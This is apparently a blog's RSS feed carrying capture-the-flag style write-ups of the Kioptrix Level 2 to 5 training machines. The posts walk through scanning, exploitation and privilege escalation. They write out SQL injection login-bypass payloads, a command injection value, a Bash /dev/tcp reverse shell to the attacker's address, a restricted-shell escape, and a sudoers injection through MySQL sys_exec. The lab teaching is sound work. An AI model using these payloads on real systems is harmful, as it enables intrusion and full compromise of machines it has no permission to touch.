&lt;p>Leveraging &lt;strong>Ncat&lt;/strong> by piping the copied exploit file into Ncat on the &lt;strong>attacking machine&lt;/strong>.
&lt;img src="32.png" alt="&amp;ldquo;Ncat File Transfer Attacker&amp;rdquo;">&lt;/p>
&lt;p>Changing to a writable directory and leveraging &lt;strong>Nc&lt;/strong> by piping the exploit to a file on the &lt;strong>target machine&lt;/strong>.
&lt;img src="33.png" alt="&amp;ldquo;Nc File Transfer Target&amp;rdquo;">&lt;/p>
&lt;p>&lt;strong>Nc&lt;/strong> on the &lt;strong>target&lt;/strong> connects to the Ncat listener &lt;strong>on the attacking machine&lt;/strong> to transfer the file.
&lt;img src="34.png" alt="&amp;ldquo;Ncat Catch Connection&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-root">Exploitation: Root&lt;/h2>
&lt;p>After compiling the exploit and making it executable with the &lt;strong>chmod +x&lt;/strong> command, executing the exploit results in root level access and a full compromise of the machine.
&lt;img src="35.png" alt="&amp;ldquo;Root&amp;rdquo;">&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>Kioptrix Level 5 is the fifth and as of this writing last machine in the Kioptrix series.&lt;/p>
&lt;p>Gaining an initial foothold on this machine is not a trivial task. While all exploits are relatively well known and easy to find with searchsploit the difficulty lies in chaining them together to find the information you need.&lt;/p>
&lt;p>Another difficulty is the somewhat &amp;ldquo;exotic&amp;rdquo; FreeBSD operating system that some people might know little about as it is not as commonly deployed as the Linux or Windows operating systems. This makes Kioptrix Level 5 a good exercise in enumeration.&lt;/p>
&lt;p>Once the initial foothold is established the privilege escalation to root is straight forward and about the same difficulty as &lt;a href="https://isroot.nl/2018/09/03/vulnhub-write-up-kioptrix-level-1/">Kioptrix Level 1&lt;/a> and &lt;a href="https://isroot.nl/2018/09/09/vulnhub-write-up-kioptrix-level-2/">Kioptrix Level 2&lt;/a>.&lt;/p></description></item><item><title>VulnHub Write-Up Kioptrix Level 4</title><link>https://isroot.nl/2018/12/09/vulnhub-write-up-kioptrix-level-4/</link><pubDate>Sun, 09 Dec 2018 00:00:00 +0100</pubDate><author>hello@isroot.nl (Michael Thelen)</author><guid>https://isroot.nl/2018/12/09/vulnhub-write-up-kioptrix-level-4/</guid><description>&lt;p>This post is a continuation of the Kioptrix series which I started a few weeks ago with the &lt;a href="https://isroot.nl/2018/09/03/vulnhub-write-up-kioptrix-level-1/">Kioptrix Level 1&lt;/a>, &lt;a href="https://isroot.nl/2018/09/09/vulnhub-write-up-kioptrix-level-2/">Kioptrix Level 2&lt;/a> and &lt;a href="https://isroot.nl/2018/10/03/vulnhub-write-up-kioptrix-level-3/">Kioptrix Level 3&lt;/a> vulnerable by design virtual machines. In this post I focus on how I solved the Kioptrix Level 4 challenge. If you want to try this challenge yourself it can be downloaded &lt;a href="https://www.vulnhub.com/entry/kioptrix-level-13-4,25/">here&lt;/a>.&lt;/p>
&lt;h2 id="tools-used">Tools Used&lt;/h2>
&lt;ul>
&lt;li>Netdiscover&lt;/li>
&lt;li>Nmap&lt;/li>
&lt;li>Firefox&lt;/li>
&lt;li>Gobuster&lt;/li>
&lt;li>SSH Client&lt;/li>
&lt;li>Echo&lt;/li>
&lt;li>MySQL Client&lt;/li>
&lt;li>Locate&lt;/li>
&lt;li>Sudo&lt;/li>
&lt;/ul>
&lt;h2 id="enumeration-netdiscover">Enumeration: Netdiscover&lt;/h2>
&lt;p>As the Kioptrix series are virtual machines in a downloadable and self-hosted format the machine gets an IP address from &lt;a href="https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol">DHCP&lt;/a> when it starts. This means that unlike online challenges such as &lt;a href="https://www.hackthebox.eu/">Hack The Box&lt;/a> the IP address of the machine is somewhat &amp;ldquo;unknown&amp;rdquo; beforehand.&lt;/p>
&lt;p>The first thing to know is the local network address by using the &lt;strong>ifconfig&lt;/strong> command.
&lt;img src="01.png" alt="&amp;ldquo;Ifconfig Command&amp;rdquo;">&lt;/p>
&lt;p>Knowing the network address and subnet mask &lt;strong>Netdiscover&lt;/strong> can be leveraged to do some &lt;a href="https://en.wikipedia.org/wiki/Address_Resolution_Protocol">ARP&lt;/a> reconnaissance and find other hosts on the local network.
&lt;img src="02.png" alt="&amp;ldquo;Netdiscover Command&amp;rdquo;">&lt;/p>
&lt;p>The Kioptrix machine is hosted on the VMware software so it is safe to assume that the last entry in the list is the target as the &lt;strong>MAC Vendor&lt;/strong> column indicates a &lt;a href="https://en.wikipedia.org/wiki/MAC_address">MAC address&lt;/a> associated with VMware.
&lt;img src="03.png" alt="&amp;ldquo;Netdiscover Results&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-nmap">Enumeration: Nmap&lt;/h2>
&lt;p>Running an initial scan with &lt;strong>Nmap&lt;/strong> against the discovered IP address reveals ports &lt;strong>22&lt;/strong>, &lt;strong>80&lt;/strong>, &lt;strong>139&lt;/strong> and &lt;strong>445&lt;/strong> are open.
&lt;img src="04.png" alt="&amp;ldquo;Nmap Initial Scan&amp;rdquo;">&lt;/p>
&lt;p>Running a targeted service scan against ports &lt;strong>22&lt;/strong>, &lt;strong>80&lt;/strong>, &lt;strong>139&lt;/strong> and &lt;strong>445&lt;/strong> reveals that the &lt;strong>OpenSSH&lt;/strong>, &lt;strong>Apache HTTP&lt;/strong> and &lt;strong>Samba&lt;/strong> servers are listening.
&lt;img src="05.png" alt="&amp;ldquo;Nmap Service Scan&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-firefox">Enumeration: Firefox&lt;/h2>
&lt;p>A visit to the website with the &lt;strong>Firefox&lt;/strong> browser reveals a LigGoat secure login webpage.
&lt;img src="06.png" alt="&amp;ldquo;Firefox Enumeration&amp;rdquo;">&lt;/p>
&lt;p>Trying several well-known username and password combinations such as &lt;strong>&amp;ldquo;admin/admin&amp;rdquo;&lt;/strong> reveals an error page but does not yield further results.
&lt;img src="07.png" alt="&amp;ldquo;Firefox Login Error&amp;rdquo;">&lt;/p>
&lt;p>Testing for simple SQL injection by entering a &lt;strong>&amp;rsquo;&lt;/strong> in the password field returns a MySQL error confirming it is vulnerable to SQL injection. Furthermore, the error reveals the root directory of the website &lt;strong>/var/www&lt;/strong> and the &lt;strong>checklogin.php&lt;/strong> page that displays the SQL error.
&lt;img src="08.png" alt="&amp;ldquo;Firefox SQL Injection&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-gobuster">Enumeration: Gobuster&lt;/h2>
&lt;p>Digging a bit deeper a Gobuster scan reveals the &lt;strong>robert&lt;/strong> and &lt;strong>john&lt;/strong> directories.
&lt;img src="09.png" alt="&amp;ldquo;Gobuster Scan&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-firefox-continued">Enumeration: Firefox Continued&lt;/h2>
&lt;p>Investigating the &lt;strong>robert&lt;/strong> directory of website reveals a PHP file with the same name. Because the website hosts a login system it is highly likely that the user robert exists.
&lt;img src="10.png" alt="&amp;ldquo;Investigating Robert Directory&amp;rdquo;">&lt;/p>
&lt;p>Leveraging the username &lt;strong>robert&lt;/strong> and the SQL payload &lt;strong>&amp;rsquo; OR 1=1 #&lt;/strong> in the password field bypasses the login page and reveals a username and password.
&lt;img src="11.png" alt="&amp;ldquo;Robert Password Reveal&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-initial-shell">Exploitation: Initial shell&lt;/h2>
&lt;p>Leveraging the &lt;strong>SSH Client&lt;/strong> with the discovered credentials results in access to a limited shell that only has a few commands available.
&lt;img src="12.png" alt="&amp;ldquo;SSH Initial Shell&amp;rdquo;">&lt;/p>
&lt;p>Leveraging the &lt;strong>echo&lt;/strong> command, which is allowed, to view the active shell results in a warning message because the path &lt;strong>/bin/kshell&lt;/strong> is forbidden.
&lt;img src="13.png" alt="&amp;ldquo;Echo Active Shell&amp;rdquo;">&lt;/p>
&lt;p>Because the &lt;strong>echo&lt;/strong> command is available it can be leveraged to escape the restricted shell and &lt;a href="https://netsec.ws/?p=337">spawn an interactive TTY shell&lt;/a> with the command &lt;strong>&amp;ldquo;echo os.system(&amp;rsquo;/bin/bash&amp;rsquo;)&amp;rdquo;&lt;/strong>.
&lt;img src="14.png" alt="&amp;ldquo;Echo Shell Escape&amp;rdquo;">&lt;/p>
&lt;h2 id="privilege-escalation">Privilege Escalation&lt;/h2>
&lt;p>Investigating root directory of the webpage reveals the &lt;strong>checklogin.php&lt;/strong> file that displayed the SQL errors when attempting SQL injection on the website&amp;rsquo;s password field.
&lt;img src="15.png" alt="&amp;ldquo;Investigating The Web Directory&amp;rdquo;">&lt;/p>
&lt;p>Viewing the database login credentials reveals the website connects to the database with the &lt;strong>MySQL root user&lt;/strong> and a &lt;strong>blank password&lt;/strong>.
&lt;img src="16.png" alt="&amp;ldquo;View checklogin.php&amp;rdquo;">&lt;/p>
&lt;p>Leveraging the &lt;strong>MySQL client&lt;/strong> to access the database server with the root user results in root access.
&lt;img src="17.png" alt="&amp;ldquo;MySQL Client Login&amp;rdquo;">&lt;/p>
&lt;p>Investigating if the MySQL server has any &lt;a href="https://en.wikipedia.org/wiki/User-defined_function">User-Defined Functions&lt;/a> loaded reveals the &lt;strong>sys_exec&lt;/strong> function that is loaded by the &lt;strong>&lt;a href="https://github.com/mysqludf/lib_mysqludf_sys">lib_mysqludf_sys.so&lt;/a>&lt;/strong> library. This function makes it possible to execute system commands through the MySQL database server.
&lt;img src="18.png" alt="&amp;ldquo;Loaded MySQL Functions&amp;rdquo;">&lt;/p>
&lt;p>Locating the &lt;strong>lib_mysqludf_sys.so&lt;/strong> library reveals its location on the filesystem and the owner of the file.
&lt;img src="19.png" alt="&amp;ldquo;Locate lib_mysqludf_sys.so&amp;rdquo;">&lt;/p>
&lt;p>Further investigation of the running MySQL process reveals it runs as the &lt;strong>root&lt;/strong> user making it possible to execute commands with the &lt;strong>sys_exec&lt;/strong> function with root privileges.
&lt;img src="20.png" alt="&amp;ldquo;Grep MySQL Process&amp;rdquo;">&lt;/p>
&lt;p>Injecting the robert system user into the &lt;strong>/etc/sudoers&lt;/strong> file with the &lt;strong>sys_exec&lt;/strong> function through the MySQL database server. A trick similar to the one I used earlier in the &lt;a href="https://isroot.nl/2018/10/03/vulnhub-write-up-kioptrix-level-3/#privilege-escalation">Kioptrix level 3&lt;/a> challenge.
&lt;img src="21.png" alt="&amp;ldquo;Injecting The Sudoers File&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-root">Exploitation: Root&lt;/h2>
&lt;p>After injection of the user in the &lt;strong>/etc/sudoers&lt;/strong> file the &lt;strong>sudo su root&lt;/strong> command can be leveraged to gain root level privileges resulting in a full compromise of the Kioptrix4 machine.
&lt;img src="22.png" alt="&amp;ldquo;Root&amp;rdquo;">&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>Kioptrix Level 4 is the fourth machine in the Kioptrix series. Gaining an initial foothold on this machine is trivial if you have a basic understanding of SQL injection.&lt;/p>
&lt;p>The machine is close to the same difficulty as &lt;a href="https://isroot.nl/2018/10/03/vulnhub-write-up-kioptrix-level-3/">Kioptrix Level 3&lt;/a> and some techniques on that machine can even be adapted and reused on Kioptrix Level 4.&lt;/p>
&lt;p>Nevertheless, I really enjoyed the privilege escalation this machine had to offer as it shows how dangerous weak passwords are and really drives home the importance of least privilege when deploying applications and configuring system services.&lt;/p></description></item><item><title>VulnHub Write-Up Kioptrix Level 3</title><link>https://isroot.nl/2018/10/03/vulnhub-write-up-kioptrix-level-3/</link><pubDate>Wed, 03 Oct 2018 00:00:00 +0100</pubDate><author>hello@isroot.nl (Michael Thelen)</author><guid>https://isroot.nl/2018/10/03/vulnhub-write-up-kioptrix-level-3/</guid><description>&lt;p>A few weeks ago, I started the Kioptrix series of vulnerable by design challenges with &lt;a href="https://isroot.nl/2018/09/03/vulnhub-write-up-kioptrix-level-1/">Kioptrix Level 1&lt;/a> and &lt;a href="https://isroot.nl/2018/09/09/vulnhub-write-up-kioptrix-level-2/">Kioptrix Level 2&lt;/a>. In this post I focus on how I solved the Kioptrix Level 3 challenge. If you want to try this challenge yourself it can be downloaded &lt;a href="https://www.vulnhub.com/entry/kioptrix-level-12-3,24/">here&lt;/a>.&lt;/p>
&lt;h2 id="tools-used">Tools Used&lt;/h2>
&lt;ul>
&lt;li>Netdiscover&lt;/li>
&lt;li>Nmap&lt;/li>
&lt;li>Firefox&lt;/li>
&lt;li>Searchsploit&lt;/li>
&lt;li>Bash scripting&lt;/li>
&lt;li>MySQL Client&lt;/li>
&lt;li>John the Ripper&lt;/li>
&lt;li>SSH Client&lt;/li>
&lt;li>Sudo&lt;/li>
&lt;/ul>
&lt;h2 id="enumeration-netdiscover">Enumeration: Netdiscover&lt;/h2>
&lt;p>As the Kioptrix series are virtual machines in a downloadable and self-hosted format the machine gets an IP address from &lt;a href="https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol">DHCP&lt;/a> when it starts. This means that unlike online challenges such as &lt;a href="https://www.hackthebox.eu/">Hack The Box&lt;/a> the IP address of the machine is somewhat &amp;ldquo;unknown&amp;rdquo; beforehand.&lt;/p>
&lt;p>The first thing to know is the local network address by using the &lt;strong>ifconfig&lt;/strong> command.
&lt;img src="01.png" alt="&amp;ldquo;Ifconfig Command&amp;rdquo;">&lt;/p>
&lt;p>Knowing the network address and subnet mask &lt;strong>Netdiscover&lt;/strong> can be leveraged to do some &lt;a href="https://en.wikipedia.org/wiki/Address_Resolution_Protocol">ARP&lt;/a> reconnaissance and find other hosts on the local network.
&lt;img src="02.png" alt="&amp;ldquo;Netdiscover Command&amp;rdquo;">&lt;/p>
&lt;p>The Kioptrix machine is hosted on the VMware software so it is safe to assume that the second entry in the list is the target as the &lt;strong>MAC Vendor&lt;/strong> column indicates a &lt;a href="https://en.wikipedia.org/wiki/MAC_address">MAC address&lt;/a> associated with VMware.
&lt;img src="03.png" alt="&amp;ldquo;Netdiscover Results&amp;rdquo;">&lt;/p>
&lt;p>The instructions for this challenge suggest to add the domain &lt;strong>kioptrix3.com&lt;/strong> to the &lt;strong>/etc/hosts&lt;/strong> file because the challenge includes a web application.
&lt;img src="04.png" alt="&amp;ldquo;Editing the Hosts File&amp;rdquo;">&lt;/p>
&lt;p>Leveraging the &lt;strong>ping&lt;/strong> commando to verify if the added domain resolves correctly.
&lt;img src="05.png" alt="&amp;ldquo;Ping the Target&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-nmap">Enumeration: Nmap&lt;/h2>
&lt;p>Running an initial scan with &lt;strong>Nmap&lt;/strong> against the discovered IP address reveals ports &lt;strong>22&lt;/strong> and &lt;strong>80&lt;/strong> are open.
&lt;img src="06.png" alt="&amp;ldquo;Nmap Initial Scan&amp;rdquo;">&lt;/p>
&lt;p>Running a targeted service scan against ports 22 and 80 reveals the &lt;strong>OpenSSH&lt;/strong> and &lt;strong>Apache HTTP&lt;/strong> servers are listening.
&lt;img src="07.png" alt="&amp;ldquo;Nmap Service Scan&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-firefox">Enumeration: Firefox&lt;/h2>
&lt;p>A visit to the website with the &lt;strong>Firefox&lt;/strong> browser reveals a simple website for LigGoat Security.
&lt;img src="08.png" alt="&amp;ldquo;Firefox Enumeration&amp;rdquo;">&lt;/p>
&lt;p>Visiting the login page reveals the &lt;strong>LotusCMS&lt;/strong> software.
&lt;img src="09.png" alt="&amp;ldquo;LotusCMS Software&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-searchsploit">Enumeration: Searchsploit&lt;/h2>
&lt;p>A quick search with Searchsploit for &lt;strong>LotusCMS&lt;/strong> reveals an available &lt;a href="https://www.metasploit.com">Metasploit&lt;/a> module with exploit number &lt;a href="https://www.exploit-db.com/exploits/18565/">18565&lt;/a>.
&lt;img src="10.png" alt="&amp;ldquo;Searchsploit LotusCMS&amp;rdquo;">&lt;/p>
&lt;p>Copying the exploit to a local folder to investigate the exploit code.
&lt;img src="11.png" alt="&amp;ldquo;Copy the Exploit&amp;rdquo;">&lt;/p>
&lt;p>The exploit leverages a vulnerability in the &lt;strong>page&lt;/strong> parameter and uses this to inject PHP code that is then executed by a PHP &lt;strong>eval()&lt;/strong> call. According to the PHP documentation &lt;a href="http://php.net/manual/en/function.eval.php">eval()&lt;/a> evaluates a string as PHP code making it likely that code execution is possible.
&lt;img src="12.png" alt="&amp;ldquo;PHP Eval() RCE&amp;rdquo;">&lt;/p>
&lt;p>Investigating further the payload used to trigger the software bug is a &lt;strong>&amp;rsquo;&lt;/strong>.
&lt;img src="13.png" alt="&amp;ldquo;Exploit&amp;rdquo;">&lt;/p>
&lt;p>Testing the vulnerable parameter on the website with Firefox results in a PHP &lt;strong>eval()&lt;/strong> error confirming the bug is present in this version of the LotusCMS software.
&lt;img src="14.png" alt="&amp;ldquo;Testing the Vulnerable Parameter&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-initial-shell">Exploitation: Initial Shell&lt;/h2>
&lt;p>To exploit this vulnerability, I wrote a Bash script that can be found &lt;a href="exploit.txt">here&lt;/a>. The code leverages an &lt;a href="https://en.wikipedia.org/wiki/Percent-encoding">URL encoded&lt;/a> payload that uses the PHP &lt;strong>exec&lt;/strong> function and &lt;strong>Nc&lt;/strong> on the target to connect back to a listener on the attacking machine.&lt;/p>
&lt;p>Executing the exploit results in a low privilege shell as the &lt;strong>www-data&lt;/strong> user.
&lt;img src="15.png" alt="&amp;ldquo;Initial Shell&amp;rdquo;">&lt;/p>
&lt;h2 id="privilege-escalation">Privilege Escalation&lt;/h2>
&lt;p>Upgrading the &lt;strong>Ncat&lt;/strong> shell with some Python magic.
&lt;img src="16.png" alt="&amp;ldquo;Upgrade Shell with Python&amp;rdquo;">&lt;/p>
&lt;p>Leveraging &lt;strong>Grep&lt;/strong> to search if any connections to a &lt;strong>MySQL&lt;/strong> database are made by files in the webserver directory. The last entry in the list &lt;strong>./gallery/gconfig.php&lt;/strong> looks promising.
&lt;img src="17.png" alt="&amp;ldquo;Grep MySQL Search&amp;rdquo;">&lt;/p>
&lt;p>Leveraging &lt;strong>Cat&lt;/strong> and &lt;strong>Grep&lt;/strong> to verify if there are any database credentials in the &lt;strong>./gallery/gconfig.php&lt;/strong> file. This reveals the user &lt;strong>root&lt;/strong> and the password &lt;strong>fuckeyou&lt;/strong>.
&lt;img src="18.png" alt="&amp;ldquo;Cat Gconfig.php MySQL&amp;rdquo;">&lt;/p>
&lt;p>Connecting to the &lt;strong>MySQL&lt;/strong> database server with the &lt;strong>MySQL Client&lt;/strong> and the discovered credentials.
&lt;img src="19.png" alt="&amp;ldquo;Connect to MySQL Database&amp;rdquo;">&lt;/p>
&lt;p>Listing the databases on the server. The &lt;strong>gallery&lt;/strong> database seems interesting.
&lt;img src="20.png" alt="&amp;ldquo;Listing MySQL Databases&amp;rdquo;">&lt;/p>
&lt;p>Changing context to the &lt;strong>gallery&lt;/strong> database and listing all &lt;strong>tables&lt;/strong> within it.
&lt;img src="21.png" alt="&amp;ldquo;Listing the Tables&amp;rdquo;">&lt;/p>
&lt;p>The &lt;strong>dev_accounts&lt;/strong> table seem to be out of place and is worth investigating further. Selecting all entries within the database results in &lt;strong>usernames&lt;/strong> and &lt;strong>password hashes&lt;/strong> that might be useful.
&lt;img src="22.png" alt="&amp;ldquo;Selecting All Entries&amp;rdquo;">&lt;/p>
&lt;p>Saving the discovered usernames and password hashes with Nano in a text file called &lt;strong>hashes.txt&lt;/strong>.
&lt;img src="23.png" alt="&amp;ldquo;Saving Hashes&amp;rdquo;">&lt;/p>
&lt;p>Investigating the &lt;strong>/etc/passwd&lt;/strong> file reveals both usernames discovered from the database also exist as system users. At this point it is worth it to crack the discovered hashes and test for password reuse if cracking is successful.
&lt;img src="24.png" alt="&amp;ldquo;Verifying Local Users&amp;rdquo;">&lt;/p>
&lt;p>Leveraging &lt;strong>John the Ripper&lt;/strong> and the popular &lt;strong>rockyou.txt&lt;/strong> password list results in a cracked password for the user &lt;strong>loneferret&lt;/strong>.
&lt;img src="25.png" alt="&amp;ldquo;Cracking the Hashes with John&amp;rdquo;">&lt;/p>
&lt;p>Verifying if the cracked password of the &lt;strong>loneferret&lt;/strong> database user can be used to login as the Linux user loneferret with the &lt;strong>su&lt;/strong> command.
&lt;img src="26.png" alt="&amp;ldquo;Leveraging Su to Verify Credentials&amp;rdquo;">&lt;/p>
&lt;p>Now that credentials for the user &lt;strong>loneferret&lt;/strong> are verified to be working it is worth trying to &lt;strong>SSH&lt;/strong> into the target to get a stable and interactive shell.
&lt;img src="27.png" alt="&amp;ldquo;SSH Into the Target&amp;rdquo;">&lt;/p>
&lt;p>Investigating the home directory of the &lt;strong>loneferret&lt;/strong> user reveals a file called &lt;strong>CompanyPolicy.README&lt;/strong>.
&lt;img src="28.png" alt="&amp;ldquo;Investigating the Home Directory&amp;rdquo;">&lt;/p>
&lt;p>The file hints at a newly installed editor called &lt;strong>HT&lt;/strong> that can be executed with &lt;strong>sudo&lt;/strong> meaning there is a possibility that the &lt;strong>loneferret&lt;/strong> user can execute the binary with higher privileges.
&lt;img src="29.png" alt="&amp;ldquo;Reading the Company Policy File&amp;rdquo;">&lt;/p>
&lt;p>Executing &lt;strong>sudo -l&lt;/strong> to verify if the &lt;strong>loneferret&lt;/strong> user can run the binary with sudo.
&lt;img src="30.png" alt="&amp;ldquo;Sudo -l&amp;rdquo;">&lt;/p>
&lt;p>Investigating further the binary seems to have the &lt;a href="https://en.wikipedia.org/wiki/Setuid">SETUID&lt;/a> bit set meaning that it runs with the privileges of the owner of the file. In this case the owner is the &lt;strong>root&lt;/strong> user meaning the &lt;strong>HT&lt;/strong> binary can be leveraged to manipulate any file on the system.
&lt;img src="31.png" alt="&amp;ldquo;Ls -l SETUID Bit&amp;rdquo;">&lt;/p>
&lt;p>Executing the &lt;strong>HT&lt;/strong> editor and opening the &lt;strong>/etc/sudoers&lt;/strong> file to manipulate it.
&lt;img src="32.png" alt="&amp;ldquo;Opening the Sudoers File&amp;rdquo;">&lt;/p>
&lt;p>Editing the &lt;strong>/etc/sudoers&lt;/strong> file with the &lt;strong>HT&lt;/strong> editor adding the &lt;strong>/bin/su&lt;/strong> binary for the &lt;strong>loneferret&lt;/strong> user so we can run it without entering a password.
&lt;img src="33.png" alt="&amp;ldquo;Editing the Sudoers File&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-root">Exploitation: Root&lt;/h2>
&lt;p>After editing the &lt;strong>/etc/sudoers&lt;/strong> file executing &lt;strong>su&lt;/strong> on Kioptrix3 results in root level access and a full compromise of the machine.
&lt;img src="34.png" alt="&amp;ldquo;Root&amp;rdquo;">&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>Kioptrix Level 3 is the third machine in the Kioptrix series. Gaining an initial foothold on this machine requires a bit more effort than the first two machines as the path requires developing an URL encoded PHP payload if you do not want to use the readily available Metasploit module.&lt;/p>
&lt;p>Once an initial foothold is established the privilege escalation to root requires you to jump through several hoops that offer an interesting learning experience in privilege escalation and the dangers of weak passwords and password reuse.&lt;/p>
&lt;p>Overall this machine requires more steps to compromise than the other two and is in my opinion a decent step up in difficulty compared to the first two machines in this series.&lt;/p></description></item><item><title>VulnHub Write-Up Kioptrix Level 2</title><link>https://isroot.nl/2018/09/09/vulnhub-write-up-kioptrix-level-2/</link><pubDate>Sun, 09 Sep 2018 00:00:00 +0100</pubDate><author>hello@isroot.nl (Michael Thelen)</author><guid>https://isroot.nl/2018/09/09/vulnhub-write-up-kioptrix-level-2/</guid><description>&lt;p>Last week I started the often recommended Kioptrix series of vulnerable by design virtual machines with &lt;a href="https://isroot.nl/2018/09/03/vulnhub-write-up-kioptrix-level-1/">Kioptrix Level 1&lt;/a>. This week I focus on Kioptrix Level 2, the next machine in the series. If you want to try this challenge yourself it can be downloaded &lt;a href="https://www.vulnhub.com/entry/kioptrix-level-11-2,23/">here&lt;/a>.&lt;/p>
&lt;h2 id="tools-used">Tools Used&lt;/h2>
&lt;ul>
&lt;li>Netdiscover&lt;/li>
&lt;li>Nmap&lt;/li>
&lt;li>Firefox&lt;/li>
&lt;li>Searchsploit&lt;/li>
&lt;li>Python SimpleHTTPServer&lt;/li>
&lt;li>Wget&lt;/li>
&lt;li>Gcc&lt;/li>
&lt;/ul>
&lt;h2 id="enumeration-netdiscover">Enumeration: Netdiscover&lt;/h2>
&lt;p>As the Kioptrix series are virtual machines in a downloadable and self-hosted format the machine gets an IP address from &lt;a href="https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol">DHCP&lt;/a> when it starts. This means that unlike online challenges such as &lt;a href="https://www.hackthebox.eu/">Hack The Box&lt;/a> the IP address of the machine is somewhat &amp;ldquo;unknown&amp;rdquo; beforehand.&lt;/p>
&lt;p>The first thing to know is the local network address by using the &lt;strong>ifconfig&lt;/strong> command.
&lt;img src="01.png" alt="&amp;ldquo;Ifconfig Command&amp;rdquo;">&lt;/p>
&lt;p>Knowing the network address and subnet mask &lt;strong>Netdiscover&lt;/strong> can be leveraged to do some &lt;a href="https://en.wikipedia.org/wiki/Address_Resolution_Protocol">ARP&lt;/a> reconnaissance and find other hosts on the local network.
&lt;img src="02.png" alt="&amp;ldquo;Netdiscover Command&amp;rdquo;">&lt;/p>
&lt;p>The Kioptrix machine is hosted on the VMware software so it is safe to assume that the last entry in the list is the target as the &lt;strong>MAC Vendor&lt;/strong> column indicates a &lt;a href="https://en.wikipedia.org/wiki/MAC_address">MAC address&lt;/a> associated with VMware.
&lt;img src="03.png" alt="&amp;ldquo;Netdiscover Results&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-nmap">Enumeration: Nmap&lt;/h2>
&lt;p>Running an initial scan with Nmap against the discovered IP address reveals ports &lt;strong>22&lt;/strong>, &lt;strong>80&lt;/strong>, &lt;strong>111&lt;/strong>, &lt;strong>443&lt;/strong>, &lt;strong>631&lt;/strong> and &lt;strong>3306&lt;/strong> are open.
&lt;img src="04.png" alt="&amp;ldquo;Nmap Initial Scan&amp;rdquo;">&lt;/p>
&lt;p>Running a targeted service scan against ports 22, 80, 111, 443, 631 and 3306 reveals the &lt;strong>OpenSSH&lt;/strong>, &lt;strong>Apache&lt;/strong>, &lt;strong>RPC&lt;/strong>, &lt;strong>CUPS&lt;/strong> and the &lt;strong>MySQL&lt;/strong> database server are listening.
&lt;img src="05.png" alt="&amp;ldquo;Nmap Service Scan&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-firefox">Enumeration: Firefox&lt;/h2>
&lt;p>A visit to the website with the &lt;strong>Firefox&lt;/strong> browser reveals a simple login form for a remote system administration application.
&lt;img src="06.png" alt="&amp;ldquo;Firefox Enumeration&amp;rdquo;">&lt;/p>
&lt;p>The &lt;strong>username&lt;/strong> field of the login form is vulnerable to &lt;strong>SQL injection&lt;/strong> making it possible to bypass the login form with the following syntax &lt;strong>&amp;lsquo;or 1=1 #&lt;/strong>.
&lt;img src="07.png" alt="&amp;ldquo;SQL Injection Login Bypass&amp;rdquo;">&lt;/p>
&lt;p>Once the login form is bypassed a simple application is revealed that can ping machines on the network.
&lt;img src="08.png" alt="&amp;ldquo;Ping 127.0.0.1&amp;rdquo;">&lt;/p>
&lt;p>Pinging the localhost address &lt;strong>127.0.0.1&lt;/strong> on the machine opens another page with the output of the &lt;strong>ping&lt;/strong> command.
&lt;img src="09.png" alt="&amp;ldquo;Ping Output&amp;rdquo;">&lt;/p>
&lt;p>Executing the ping command with the parameters &lt;strong>127.0.0.1;whoami&lt;/strong> again opens another page.
&lt;img src="10.png" alt="&amp;ldquo;Injecting Whoami Command&amp;rdquo;">&lt;/p>
&lt;p>This time the output of the &lt;strong>ping&lt;/strong> command is not the only result as the &lt;strong>apache&lt;/strong> user is shown at the bottom of the page. This means the &lt;strong>whoami&lt;/strong> command also executed confirming it is possible to execute other programs on the host.
&lt;img src="11.png" alt="&amp;ldquo;Whoami Output&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-initial-shell">Exploitation: Initial Shell&lt;/h2>
&lt;p>Preparing an &lt;strong>Ncat&lt;/strong> listener on port &lt;strong>443&lt;/strong> to catch a &lt;strong>Bash&lt;/strong> reverse shell.
&lt;img src="12.png" alt="&amp;ldquo;Ncat Listener&amp;rdquo;">&lt;/p>
&lt;p>Executing the ping command followed by a Bash &lt;strong>reverse shell&lt;/strong> with the following command &lt;strong>127.0.0.1;bash -i &amp;gt;&amp;amp; /dev/tcp/172.16.3.17/443 0&amp;gt;&amp;amp;1&lt;/strong>.
&lt;img src="13.png" alt="&amp;ldquo;Executing the Reverse Shell&amp;rdquo;">&lt;/p>
&lt;p>Bash connects to the Ncat listener opening a low privilege reverse shell as the &lt;strong>Apache&lt;/strong> user.
&lt;img src="14.png" alt="&amp;ldquo;Initial Shell&amp;rdquo;">&lt;/p>
&lt;h2 id="privilege-escalation">Privilege Escalation&lt;/h2>
&lt;p>Investigating the target &lt;strong>operating system&lt;/strong>, &lt;strong>kernel version&lt;/strong> and &lt;strong>architecture&lt;/strong> reveals both are severely out of date indicating a privilege escalation exploit is most likely available for the machine.
&lt;img src="15.png" alt="&amp;ldquo;Investigating the Target&amp;rdquo;">&lt;/p>
&lt;p>A quick search with searchsploit for &lt;strong>Linux Kernel 2.6 CentOS&lt;/strong> reveals several public exploits but only one result is displayed for the &lt;strong>x86&lt;/strong> architecture specifically.
&lt;img src="16.png" alt="&amp;ldquo;Searchsploit Linux Kernel 2.6 CentOS&amp;rdquo;">&lt;/p>
&lt;p>Copying the exploit from the local exploit database to investigate and modify it where necessary.
&lt;img src="17.png" alt="&amp;ldquo;Copy the Exploit&amp;rdquo;">&lt;/p>
&lt;p>Investigating the exploit code reveals that the author tested it on the exact operating system and kernel version making it highly likely that the exploit will work on the target.
